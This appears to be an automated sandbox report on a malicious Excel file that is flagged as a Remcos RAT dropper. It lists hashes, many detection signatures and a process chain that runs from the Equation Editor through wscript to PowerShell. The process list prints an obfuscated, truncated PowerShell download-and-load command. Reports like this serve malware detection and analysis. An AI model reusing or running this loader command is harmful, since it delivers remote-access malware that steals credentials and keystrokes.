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Windows
Analysis Report
Ref19920830281982938RT.xls
Overview
General Information
| Sample name: | Ref19920830281982938RT.xls |
| Analysis ID: | 1447833 |
| MD5: | f5051793b6c98a29efba84f3821d1e30 |
| SHA1: | b6b446e72525796444ae132fbb6af6788f08c5de |
| SHA256: | 191a46b3849f0cc60ac2e0a3387585dd9c34e2b28cb66bffdbda08238ee53710 |
| Tags: | xls |
| Infos: |   |
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Detection
Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Sigma detected: Remcos
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Creates autostart registry keys with suspicious values (likely registry only malware)
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Microsoft Office drops suspicious files
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 1648 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
WINWORD.EXE (PID: 1668 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) 
EQNEDT32.EXE (PID: 3300 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 3400 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\onsan dtigerbeau tifulpictu re.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3508 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command " $codigo = 'ZgB1DgTre G4DgTreYwB 0DgTreGkDg TrebwBuDgT reCDgTreDg TreRDgTreB vDgTreHcDg TrebgBsDgT reG8DgTreY QBkDgTreEQ DgTreYQB0D gTreGEDgTr eRgByDgTre G8DgTrebQB MDgTreGkDg TrebgBrDgT reHMDgTreI DgTreB7DgT reCDgTreDg TrecDgTreB hDgTreHIDg TreYQBtDgT reCDgTreDg TreKDgTreB bDgTreHMDg TredDgTreB yDgTreGkDg TrebgBnDgT reFsDgTreX QBdDgTreCQ DgTrebDgTr eBpDgTreG4 DgTreawBzD gTreCkDgTr eIDgTreDgT rekDgTreHc DgTreZQBiD gTreEMDgTr ebDgTreBpD gTreGUDgTr ebgB0DgTre CDgTreDgTr ePQDgTregD gTreE4DgTr eZQB3DgTre C0DgTreTwB iDgTreGoDg TreZQBjDgT reHQDgTreI DgTreBTDgT reHkDgTrec wB0DgTreGU DgTrebQDgT reuDgTreE4 DgTreZQB0D gTreC4DgTr eVwBlDgTre GIDgTreQwB sDgTreGkDg TreZQBuDgT reHQDgTreO wDgTregDgT reCQDgTreZ DgTreBvDgT reHcDgTreb gBsDgTreG8 DgTreYQBkD gTreGUDgTr eZDgTreBED gTreGEDgTr edDgTreBhD gTreCDgTre DgTrePQDgT regDgTreED gTreDgTreK DgTreDgTre pDgTreDsDg TreIDgTreD gTrekDgTre HMDgTreaDg TreB1DgTre GYDgTreZgB sDgTreGUDg TreZDgTreB MDgTreGkDg TrebgBrDgT reHMDgTreI DgTreDgTre 9DgTreCDgT reDgTreJDg TreBsDgTre GkDgTrebgB rDgTreHMDg TreIDgTreB 8DgTreCDgT reDgTreRwB lDgTreHQDg TreLQBSDgT reGEDgTreb gBkDgTreG8 DgTrebQDgT regDgTreC0 DgTreQwBvD gTreHUDgTr ebgB0DgTre CDgTreDgTr eJDgTreBsD gTreGkDgTr ebgBrDgTre HMDgTreLgB MDgTreGUDg TrebgBnDgT reHQDgTrea DgTreDgTre 7DgTreCDgT reDgTreZgB vDgTreHIDg TreZQBhDgT reGMDgTrea DgTreDgTre gDgTreCgDg TreJDgTreB sDgTreGkDg TrebgBrDgT reCDgTreDg TreaQBuDgT reCDgTreDg TreJDgTreB zDgTreGgDg TredQBmDgT reGYDgTreb DgTreBlDgT reGQDgTreT DgTreBpDgT reG4DgTrea wBzDgTreCk DgTreIDgTr eB7DgTreCD gTreDgTred DgTreByDgT reHkDgTreI DgTreB7DgT reCDgTreDg TreJDgTreB kDgTreG8Dg TredwBuDgT reGwDgTreb wBhDgTreGQ DgTreZQBkD gTreEQDgTr eYQB0DgTre GEDgTreIDg TreDgTrerD gTreD0DgTr eIDgTreDgT rekDgTreHc DgTreZQBiD gTreEMDgTr ebDgTreBpD gTreGUDgTr ebgB0DgTre C4DgTreRDg TreBvDgTre HcDgTrebgB sDgTreG8Dg TreYQBkDgT reEQDgTreY QB0DgTreGE DgTreKDgTr eDgTrekDgT reGwDgTrea QBuDgTreGs DgTreKQDgT regDgTreH0 DgTreIDgTr eBjDgTreGE DgTredDgTr eBjDgTreGg DgTreIDgTr eB7DgTreCD gTreDgTreY wBvDgTreG4 DgTredDgTr eBpDgTreG4 DgTredQBlD gTreCDgTre DgTrefQDgT regDgTreH0 DgTreOwDgT regDgTreHI DgTreZQB0D gTreHUDgTr ecgBuDgTre CDgTreDgTr eJDgTreBkD gTreG8DgTr edwBuDgTre GwDgTrebwB hDgTreGQDg TreZQBkDgT reEQDgTreY QB0DgTreGE DgTreIDgTr eB9DgTreDs DgTreIDgTr eDgTrekDgT reGwDgTrea QBuDgTreGs DgTrecwDgT regDgTreD0 DgTreIDgTr eBDgTreDgT reCgDgTreJ wBoDgTreHQ DgTredDgTr eBwDgTreHM DgTreOgDgT revDgTreC8 DgTredQBwD gTreGwDgTr ebwBhDgTre GQDgTreZDg TreBlDgTre GkDgTrebQB hDgTreGcDg TreZQBuDgT reHMDgTreL gBjDgTreG8 DgTrebQDgT reuDgTreGI DgTrecgDgT revDgTreGk DgTrebQBhD gTreGcDgTr eZQBzDgTre C8DgTreMDg TreDgTrewD